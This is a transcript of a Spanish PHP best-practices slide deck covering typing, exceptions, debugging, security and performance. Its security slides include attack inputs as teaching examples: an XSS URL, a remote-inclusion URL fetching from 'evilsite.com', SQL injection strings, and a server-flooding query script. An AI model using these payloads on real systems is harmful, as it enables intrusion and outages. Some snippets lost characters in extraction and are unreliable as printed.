Buenas Prácticas de Programación en PHP
-
Upload
jesus-castagnetto -
Category
Technology
-
view
13.527 -
download
0
Transcript of Buenas Prácticas de Programación en PHP
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
<?php
require 'S
tructures/
DataGrid.p
hp';
// 10 reco
rds per pa
ge
$datagrid
=& new Str
uctures_Da
taGrid(10)
;
// Setup y
our dataso
urce
$options =
array('ds
n' => 'mys
ql://user:
password@h
ost/db_nam
e');
$test = $d
atagrid->b
ind("SELEC
T * FROM m
y_table",
$options);
if (PEAR::
isError($t
est)) {
echo $
test->getM
essage();
}
// Print t
he DataGri
d with the
default r
enderer (H
TML Table)
$test = $d
atagrid->r
ender();
if (PEAR::
isError($t
est)) {
echo $
test->getM
essage();
}
// Print t
he HTML pa
ging links
$test = $d
atagrid->r
ender(DATA
GRID_RENDE
R_PAGER);
if (PEAR::
isError($t
est)) {
echo $
test->getM
essage();
}?>
Buenas prácticas de Buenas prácticas de programación en PHPprogramación en PHP
Jesús M. Castagnetto M., [email protected] // [email protected]
http://www.castagnetto.com/
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Agenda
● Consideraciones generales● Seguridad● Mejorando el funcionamiento● Donde encontrar mas información
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
¿Por que se necesita una charla como esta?● PHP es un lenguaje fácil de aprender,
usarlo en forma experta toma tiempo y esfuerzo
● Los problemas de seguridad están en todas partes, en especial, las inesperadas
● Tener buena performance es muy importante en aplicativos de web
● El Código Libre debe ser robusto, funcionar bien, y verse mejor
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
... y que espero que aprendan
● Errores comunes y como evitarlos● Algunos “trucos” interesantes que pueden
reutilizar● Como usar buenas herramientas para
mejorar su código y sus aplicativos, y hacer su vida mas placentera :-)
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Consideraciones Generales
En esta sección aprenderemos:● Hábitos comunes para escribir buen
código en PHP● Algunos consejos para “limpiar” tu código● Comportamientos que debemos evitar
para no cometer tantos errores
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Consideraciones Generales: Tópicos● Asegurarse del tipo de datos● Usar “tags” cortas es malo● Ser “E_STRICTo” es bueno● Emplear excepciones● Usar un depurador (debugger)● Evitar reinventar la rueda● Los estándares de código son buenos● Documentar, documentar, documentar
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Tipos de datos (1)
La situación: PHP no usa tipos estrictos:
... los operadores tampoco lo usan:
Resultado:string(1) “1”int(2)
<?php $foo = "1"; $bar = $foo + 1; var_dump($foo, $bar);?>
<?php $int = 1; $string = "1"; $bool = true; var_dump($int == $string); var_dump($string == $bool); var_dump($int == $bool);?>
Resultado:bool(true)bool(true)bool(true)
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Tipos de datos (2)
Esto causa situaciones confusas:
... y produce errores como el siguiente:<?php function foo($answer) { if ($answer > 10) { return true; } else { return $answer; } } if (foo(11)) { echo "11 es mayor que 10<br />"; } if (foo(9)) { echo "9 es mayor que 10<br />"; }?>
<?php var_dump( '1' == '1.' );?>
Resultado:bool(true)
Resultado:11 es mayor que 109 es mayor que 10
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Tipos de datos (3)
La solución: programar asegurándose de los tipos de datos
... y usar comparadores que entiendan tipos:<?php $int = 1; $string = "1"; $bool = true; var_dump($int === $string); var_dump($string === $bool); var_dump($int === $bool);?>
<?php $foo = "1"; $bar = (int)$foo + 1; var_dump((int)$foo, $bar);?>
Resultado:int(1)int(2)
Resultado:bool(false)bool(false)bool(false)
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Tipos de datos (3)
Y el problema anterior, desaparece como por arte de magia:
<?php function foo($answer) { if ($answer > 10) { return true; } else { return $answer; } } if (foo(11) === true) { echo "11 es mayor que 10<br />"; } if (foo(9) === true) { echo "9 es mayor que 10<br />"; }?>
Resultado:11 es mayor que 10
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
“Tags” cortas son dañinas (1)La situación: PHP permite varias formas de
marcar el comienzo del código:➔ Forma estándar: <?php echo “Hola!”; ?>➔ Forma corta: <? echo “Hola!”; ?>
o aún peor: <?= “Hola!”; ?>➔ ... y para los masoquistas:
<% echo “Hola!”; %>
Pero:➔ <? esta reservado para declarar XML➔ <?= no es XML válido (<?php si lo es)➔ <% es para los que sueñan/sufren con ASP
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
“Tags” cortas son dañinas (2)
La solución: Usar siempre la forma estándar (<?php) y convertir todos tus programas que no usan esa forma.
La forma estándar➔ Tiene garantizada soporte futuro➔ Representa una instrucción de procesamiento
válida en XML➔ Es única a todos los programas de PHP
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Se “E_STRICTo” (1)
La situación: Desde PHP 5.0, existe un nuevo nivel de error: E_STRICT➔ E_STRICT nos fuerza a escribir código que sea
compatible (“limpio”) con PHP 5➔ Muy probablemente E_STRICT se convierta en
E_FATAL en PHP 6➔ Existe mucho código que no es “E_STRICTo” y que
por tanto no es portable en su totalidad a sistemas usando PHP 5
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Se “E_STRICTo” (2)
La solución: Usemos E_STRICT, y revisemos nuestro código: (en php.ini)
error_reporting=E_ALL | E_STRICT
Error típico encontrado usando E_STRICT: uso de is_a() en lugar de instanceof:
<?php if (is_a($object, 'ClassName')) { $object>algunMetodo(); }?>
<?php if ($object instanceof ClassName) { $object>algunMetodo(); }?>
El problema
La solución
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Excepciones (1)
La situación: PHP tiene excepciones ahora, esto es bueno, pero peligroso➔ Las excepciones son una gran herramienta para
manejar situaciones excepcionales en la ejecución del código
➔ A menudo se usan mal las excepciones, y tendemos a abusar de ellas
➔ Las excepciones causan un poco de pérdida de memoria cuando son ejecutadas en algunas situaciones
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Excepciones (2)Abusando de las excepciones:
Cuando podríamos haber hecho algo mas sensato:
<?php function check_input($input) { if ($input !== "Hello!") { throw new Exception("User input wrong"); } }?>
<?php function check_input($input) { if ($input !== "Hello!") { return false; } else { return true; } }?>
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Excepciones (2)
Solución: Usemos bien las excepciones<?php function check_server_connection() { if (server_connection_timeout()) { throw new Exception('Connection timeout'); } }?>
<?php try { $person>setName('John Doe'); $person>setAddress('Something St. 12'); $person>setbirthDate('10101900'); $person>store(); } catch (Exception e) { throw new DataPopulationException( 'Unable to fill data for person ' . $person>getId(), e ); }?>
Situacionesexcepcionales
Manejo de errores en un bloque de procesos
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Excepciones (3)
Excepciones “pierden” alguito de memoria cuando se les lanza continuamente (por ejemplo en un bucle de proceso):
La memoria pedida no es liberada por completo cada vez.
<?phpforeach ($i = 1000000; $i > 0; $i) {
throw new Exceptions("WOW, I'm leaking!"
);}
?>
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Usando un depurador (1)
La situación: “¡Yo no necesito depurador!”● “Para mi es suficiente usar var_dump() y
print_r(). ¿Para que complicarme la vida?”● Los errores de PHP no son muy
informativos en casos moderadamente complejos
● Un depurador tiene características que ayudan mucho, y que evitan dolores de cabeza al analizar errores en nuestros aplicativos de web
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Usa un depurador (2)Por ejemplo, el siguiente código:
Daría un error como este:Warning: phpinfo() expects a parameter 1 to be long, string given in /server/webdocs/foo.php on line 1
... lo cual no nos dice mucho en realidad
<?phpfunction foo() {
phpinfo("bar");}foo();
?>
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Usa un depurador (3)
En cambio, un buen depurador nos da mucha mas información:
Ahora sabemos inclusive el orden de llamada que causo el error, cuando se realizó la llamada a la función, etc.
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Usa un depurador (4)
La solución: ¡Usen un buen depurador!● Recomendación: Xdebug
(http://xdebug.org)➔ Es Código Libre➔ Usado por muchos desarrolladores➔ Se integra con PHP como una extensión➔ Se integra con IDEs (ej. Komodo)➔ Tiene opciones para obtener perfiles de uso y
cobertura de código● Otros depuradores:DBG(http://dd.cron.ru), APD (http://
pecl.php.net/package/apd), Zend IDE (propietario)
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Estándares de código (1)
La situación: “¡Yo escribo código como a mi me viene en gana!”
● Esto causa dificultades al leer el código, lo cual es malo en un grupo de desarrollo
● Hace complicado que alguien mantenga tu código
● En ocasiones, tu mismo(a) tendrás problemas entendiendo tu propio “monstruo”
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Estándares de código (2)
La solución: ¡Usa un estándar de código!● Existen muchos, buenos, aceptados,
refinados y validados por comunidades grandes de desarrolladores:➔ PEAR Code Standards:
http://pear.php.net/manual/en/standards.php
➔ eZ Systems:http://ez.no/ezpublish/documentation/development/standards/php
➔ ZF Code Standard:http://framework.zend.com/manual/en/coding-standard.html
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Documentación (1)
La situación: Comparado con escribir código, el hacer documentación es aburrido y se deja para el último momento
● Esto hace que después de 6 meses, ni tu mismo te acuerdes que hace un pedazo de código que hiciste (en particular si no tienes un estándar de código :-)
● Piensa que otros usaran tu código. Mejor aún, espera y cuenta con otros usarán tu código, y no les compliques la vida
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Documentación (2)
La solución: phpDocumentor➔ Implementa y aumenta las capacidades de
documentación de Javadoc➔ Es un estándar aceptado por la comunidad➔ Está disponible a través de PEAR➔ Permite la generación “automágica” de
documentación de tu API➔ También puedes incluir tutoriales➔ Más información en http://phpdoc.org
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Documentación (3)
Consejos útiles:➔ Escribe la documentación antes de escribir el
código, de ese modo no te olvidas de algo importante
➔ Si escribes primero el código, de seguro que no vas a escribir buena documentación (y eso, si la llegas a escribir)
➔ Documenta minuciosamente, así no tienes que corregir los documentos luego
➔ Si vas a modificar, añadir o arreglar algo: Actualiza la documentación primero, luego actualiza el código.
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Seguridad
En esta sección veremos:● Problemas comunes y sus soluciones● Como estar atento a lo hacen nuestros
usuarios, y actuar de acuerdo a ello
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Seguridad: Tópicos
● Inyección de variables● Inyección de comandos en SQL● Filtrado de datos de ingreso● Escape de datos de salida● Seguridad por obscuridad● Arreglar los derechos de acceso● Configuración● Cookies y sesiones
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Inyección de variables (1)
La situación: Las variables no inicializadas pueden causar que se ejecuten secciones no esperadas de código
<?phpif (correct_user($_POST['user'], $_POST['password']) {
$login = true;}
if ($login) { forward_to_secure_environment();
}?>
¡Un desastre en potencia!
http://example.com/form1.php?login=1
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Inyección de variables (2)
La solución: Inicializa todas tus variables y nunca (si, ¡nunca!) confíes en datos que vienen del usuario (del exterior):$_POST, $_GET, $_REQUEST, $_COOKIE, $_SERVER, $_ENV
Ejemplo simple de XSS. Al código:
... le inyectamos el URL siguiente:
generando una ventana en JavaScript que imprime el texto “XSS”
<form action="<?php echo $_SERVER['PHP_SELF']; ?>"></form>
http://example.com/form2.php/%22%3E%3Cscript%3Ealert('xss')%3C/script%3E%3Cfoo
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Inyección de variables (3)
La situación: Variables usadas para incluir archivos causan mas dolores de cabeza que los que resuelven.➔ Hacen fácil que se ejecute código externo➔ Peor aun si se puede incluir código de cualquier
URL arbitrario (allow_url_fopen=On, la configuración por defecto de PHP)
<?phprequire_once $_GET['action'] . '.php';
?>
Se puede explotar esto usando:http://example.com/form3.php?action=http://evilsite.com/myevilscript
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Inyección de variables (4)
La solución: Valida los archivos a incluir usando una lista fija implementada con arreglos o con 'switch', etc.
<?php$valid_files = array(
'show' => 'show.php', 'list' => 'list.php',
);
if (isset($valid_files[$_GET['action']])) { require_once $valid_files[$_GET['action']];
} else { echo 'Not a valid action.';
}?>
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Inyección de comandos en SQL (1)
La situación: El necesitar usar datos de los usuarios, puede permitir a estos el manipular la forma como se accede a la base de datos.
Dado el código:
Se puede manipular usando:
<?php$sql = 'SELECT password FROM user WHERE login = '
. $_GET['login'];?>
http://example.com/form4.php?login=username+OR+1
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Inyección de comandos en SQL (2)
La solución: Usa funciones para escapar datos de tu base de datos:
O aún mejor, usa comando preparados:
<?php$sql = 'SELECT password FROM user WHERE login = ' .
mysql_real_escape_string( $_GET['login'] );?>
<?php$db = new PDO( ... );$stmt = $db>prepare( 'SELECT password FROM user WHERE login = ?' );$stmt>execute( array( $_GET['login'] ) );
?>
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Validación de datos de entrada (1)
La situación: Validar los datos que entra el usuario es difícil y poco interesante.
La solución: Usar ext/filter o ext/ctype<?php
var_dump( ctype_alnum( 'foobar_42' ) );var_dump( ctype_alnum( 'Bad Characters $%&/' ) );
var_dump(filter_var('[email protected]', FILTER_VALIDATE_EMAIL));var_dump(filter_var('example.com',
FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED));?>
Resultado:boolean falseboolean falsestring '[email protected]' (length=15)boolean false
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Validación de datos de entrada (2)
Sugerencia:Para datos numéricos, es más fácil el forzar
al dato a tener un tipo un entero (integer)<?php
var_dump( (int) '42' );var_dump( (int) '42; DELETE * FROM users;' );var_dump( (int) 'Evil string' );
?>
Resultado:int 42int 42int 0
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Procesa los datos de salida (1)
La situación: Los ataques de XSS ocurren por no procesar adecuadamente los datos de salida, o usarlos tal cual son obtenidos.➔ Debemos asumir que todo dato ingresado por el
usuario, puede contener caracteres que serán interpretados por el navegador, u otro programa que recibe nuestros resultados.
<?php$text = '<b>Hola</b> todos.';echo $text;echo htmlentities( $text );
?>
Resultado:
Hola todos<b>Hola</b> todos
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Procesa los datos de salida (2)
La solución: Usar las funciones de procesamiento de datos de salida➔ Hay que recordar que las bases de datos también
pueden contener datos ingresados por el usuario➔ Debemos de considerar el contexto en que la salida
de nuestro programa va a ser usada (navegador, lector de RSS, etc.)
➔ Usar un sistema de plantillas, en especial uno que procese la salida adecuadamente, evita este problema y nos ahorra trabajo
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Seguridad por obscuridadLa situación: Información acerca de las
rutas, extensiones, y configuración, hace fácil el trabajo de quien quiere atacar tu sistema.
La solución: Oculta bien esta información.➔ No tengas un script con phpinfo() en tu directorio
de web por defecto➔ En producción, desactiva display_errors y usa
error_log en su lugar➔ El cambiar los tipos de archivos por defecto (ej. usar
.abc en lugar de .php), y desactivar expose_php también puede ayudar
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Corrige los permisos de acceso
La situación: Permisos de acceso errados hacen fácil el que alguien puede adueñarse de nuestro servidor de web.
La solución: Usa los permisos correctos➔ No deben de haber archivos ejecutables o que se
puedan escribir en tu carpeta de web➔ Ningún archivo de PHP debe de poderse sobre-
escribir➔ Desactivar el leer (y ejecutar) archivos externos
conteniendo clases, configuración, o código de cualquier índole
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Configuración (1)La situación: El proceso inadecuado de los
datos de salida y los almacenados.➔ Afecta directamente (a veces, seriamente) la
performance de tu aplicativo de web➔ A veces no usamos adecuadamente funciones
como stripslashes(), ni las asociadas al tipo de almacenaje que usaremos (base de datos, archivos, etc.)
La solución: No uses magic_quotes en producción (ni en desarrollo, de ser posible), y usa funciones de procesamiento apropiadas
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Configuración (2)
Si queremos revertir efectivamente el efecto de magic_quotes, hay que hacerlo con cuidado
<?phpif (get_magic_quotes_gpc()) {
function strip_quotes(&$var) {if (is_array($var) {
array_walk($var, 'strip_quotes');} else {
$var = stripslashes($var);}
}// Handle GPCforeach (array('GET','POST','COOKIE') as $v) {
if (!empty(${"_".$v})) {array_walk(${"_".$v}, 'strip_quotes');
}}
}?>
<?php$qry = str_repeat('[]', 1024);file_get_contents('http://example.com/site.php?a' . $qry . '=1');
?>
Este código sepuede atacarfácilmente.
Un programasimple puedehacer que elservidor se caigapor exceso decarga
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Configuración (4)
Podemos hacer el mismo procesamiento, pero en forma mas segura, si usar recursión:
<?phpif (get_magic_quotes_gpc()) {
$in = array(&$_GET, &$_POST, &$_COOKIE);while (list($k,$v) = each($in)) {
foreach ($v as $key => $val) {if (!is_array($val)) {
$in[$k][$key] = stripslashes($val);continue;
}$in[] =& $in[$k][$key];
}}unset($in);
}?>
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Configuración (5)
La situación: Aún hay código que depende de que register_globals este activo, y hay desarrolladores que aún siguen usándolo➔ Esta configuración ha sido desactivada por defecto
desde hace mucho tiempo (desde PHP 4.2.0: 22 de Abril del 2002)
➔ Su uso llena de basura el entorno global➔ Puede sobre-escribir variables no inicializadas con
gran facilidad➔ Nos (mal) acostumbra a no procesar nuestros datos
de entrada
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Configuración (6)La solución: No uses register_globals, ni
en desarrollo y menos en producción.➔ El tratar de emular su efecto puede traer problemas,
en particular en entornos usando PHP con versiones anteriores a 4.4.1 o 5.0.5
➔ Aún puedes crear tus propios mecanismos de importación de variables
➔ El comportamiento de extract() y el de import_request_variables() es aceptado
¡En PHP 6 ya no existirá ni magic_quotes y menos aún
register_globals!
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Cookies y sesiones (1)
La situación: Las cookies son fáciles de ser modificadas por el usuario.➔ No almacenes información crítica en cookies➔ Pueden ser falsificadas usando programas
automatizados
La solución: Usar ext/session para almacenar los datos importantes.➔ Generalmente, se almacenará un ID de sesión en la
cookie del usuario➔ Los datos asociados residen en el servidor
(archivos o base de datos)
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Cookies y sesiones (2)
Sugerencias: ➔ No almacenar claves de identificación como texto
sencillo, es inseguro aún en el servidor. Es bueno usar un función como md5(), sha1(), etc. para almacenar un valor que no puede ser revertido a la cadena original
➔ Al usar md5() (o sha1(), etc.), no hacerlo directamente en la clave, pues pueden escribirse programas que traten de adivinar esta información por fuerza bruta. Concatenar con otra información (ej. nombre del servidor, del usuario, etc.), antes de procesar.
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Mejorando la performance
En esta sección aprenderemos● Algunos de los errores comunes que
hacen que nuestros aplicativos corren más lentamente de lo que realmente deberían.
● Algunas sugerencias que pueden ayudar a que la performance de nuestros aplicativos aumente, usando prácticas correctas de escritura de código
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Mejorando la performance: Tópicos● Prefiere usar C en lugar de PHP● Algunas mejoras simples en la velocidad● Como usar OOP adecuadamente● Usar cache tanto como se pueda● Tener cuidado con las expresiones
regulares● Emplear cache de OP code● Hacer un perfil del aplicativo● Usar mod_gzip
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Prefiere usar C en lugar de PHP
La situación: Las funciones internas de PHP son más rápidas que las del usuario➔ Las funciones de PHP nos ahorran tiempo, pero
aún así hay gente que insiste en escribir su “versión propia” de estas
La solución: ¡Lee el manual!➔ PHP tiene excelente documentación, usala a
menudo y verás que te gustará➔ Antes de escribir, fíjate si ya existe en PHP➔ Si realmente necesitas funciones que consumen
mucho tiempo, escribelas como extensiones en C para PHP
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
La situación: Si usamos código simple muy frecuentemente, esto puede causar que se pierda mucho tiempo de proceso.➔ El uso principal de los aplicativos de web es el de
procesar cadenas de caracteres➔ Debemos de analizar las construcciones de código
más frecuentemente usadas en nuestro aplicativo
“Make everything as simple as possible, but not simpler.” (Haz todo tan simple como sea posible, pero no mas simple que eso) -- Albert Einstein
Algunas mejoras simples en la velocidad (1)
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Algunas mejoras simples en la velocidad (2)La solución: Optimizaciones simples ayudan
mucho a aumentar la velocidad➔ Usa ' en lugar de " para no tener que interpretar
valores
➔ Usa valores múltiples de echo en lugar de usar concatenación de valores
➔ Donde sea posible usa ++$i en lugar de $i++
echo 'Hola Todos';echo "Hola\nTodos";Preferido
echo 'Hola '.$nombre; echo 'Hola ', $nombre;
Preferido
for ($i=0; $i<100; $i++)
for ($i=0; $i<100; ++$i)Preferido
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Usa OOP adecuadamente (1)
La situación: PHP 5 tiene características interesantes en lo relacionado a OOP➔ OOP se ve bien y puede ser útil, pero también
sobrecarga el procesamiento➔ Cada objeto consume memoria en PHP que una
estructura equivalente➔ Cada llamada a un método consume memoria y
tiempo en PHP<?php class Integer { protected $value = 0; function __construct($int) { $this>value = $int; } }?>
Bonito código, pero innecesario
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Usa OOP adecuadamente (2)
La solución: Conoce los límites de OOP➔ No todo tiene que ser una clase, los arreglos
pueden ser muy útiles también➔ No crees múltiples métodos, piensa en que vas a
reusar en realidad. Sé pragmático(a).➔ Si lo necesitas, puedes reorganizar tus métodos
luego. No trates de adivinar el futuro.➔ Piensa: ¿Realmente necesito un árbol de clases tan
profundo y complejo?➔ Antes de aplicar un “Patrón de Diseño” OOP, piensa
si realmente lo necesitas. No hagas las cosas por moda o imitación
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Usar cache al máximo (1)
La situación: La mayor parte del contenido no es dinámicamente generado➔ 90% del tiempo el servidor está enviando la misma
información a múltiples usuarios➔ Cada pedido de una página, resulta en los mismos
resultados de búsqueda en la base de datos➔ 90% del trabajo de tu servidor se gasta en
regenerar el mismo contenido... ¡estático!
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Usar cache al máximo (2)
La solución: Usa un cache➔ Estima la frecuencia con que realmente necesitas
regenerar tu contenido dinámico➔ Usa un cache para los periodos en los que no
regeneras el contenido➔ Evita el que el contenido estático sea regenerado, o
actualiza este con mucho menor frecuencia● Librerías de cache sugeridas:
➔ Cache_Lite (http://pear.php.net/Cache_Lite)➔ eZCache (http://ez.no/products/ez_components)
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Usar cache al máximo (3)
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Cuidado con las expresiones regulares (1)
La situación: Las expresiones regulares (regexes) pueden consumir mucho tiempo de proceso➔ Prefiere usar PCRE en lugar de EREG, es mas
potente y mas rápido➔ Una regex escrita incorrectamente puede consumir
mucho tiempo de proceso➔ Una función en C equivalente es siempre mucho
mas veloz que la regex equivalente
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Cuidado con las expresiones regulares (2)
La solución: Piensa dos veces antes de usar una regex➔ ¿Existe una función en PHP que hace el mismo
trabajo que mi regex?➔ Reemplaza tus EREGs por PCREs➔ Trata de no usar “backtracking” de ser posible (usa
el modificador U, cuando sea posible)➔ Lee, aprende y usa inteligentemente el contenido
del libro:“Mastering Regular Expressions” (http://www.oreilly.com/catalog/regex/)
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Emplea cache de código intermedio/compilado (1)
La situación: Compilación del código de PHP (en el servidor) consume tiempo➔ Tu código de PHP es recompilado cada vez que
hay un pedido➔ Aún si es 0.5 seg por cada pedido, eso significa
mas de 2 minutos en sólo 250 pedidos➔ Compilar algunos archivos de PHP toma más
tiempo que ejecutarlos, en particular si estos incluyen muchos otros archivos (clases, configuración, etc.)
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Emplea cache de código intermedio/compilado (2)
La solución: Usa cache de OP code➔ El motor Zend compila el código PHP en OP code
antes de ejecutarlo➔ El OP code no cambia a menos que cambies tu
código fuente➔ Un cache de OP code ahorra la compilación
● Recomendaciones de caches de OP code:➔ APC (Código Libre): http://pecl.php.net/APC➔ Zend perfomance suite (comercial):
http://www.zend.com
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Emplea cache de código intermedio/compilado (3)
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Haz un perfil del aplicativo (1)
La situación: Es difícil encontrar los cuellos de botella en un aplicativo grande➔ Aún los aplicativos mejor diseñados y escritos,
pueden sufrir de componentes que causan que todo funciones lentamente
➔ Encontrar los cuellos de botella, en ocasiones es muy, pero muy, difícil
➔ El tratar de encontrar problemas por pruebas y error al azar, consume tiempo y no es efectivo en casos complejos
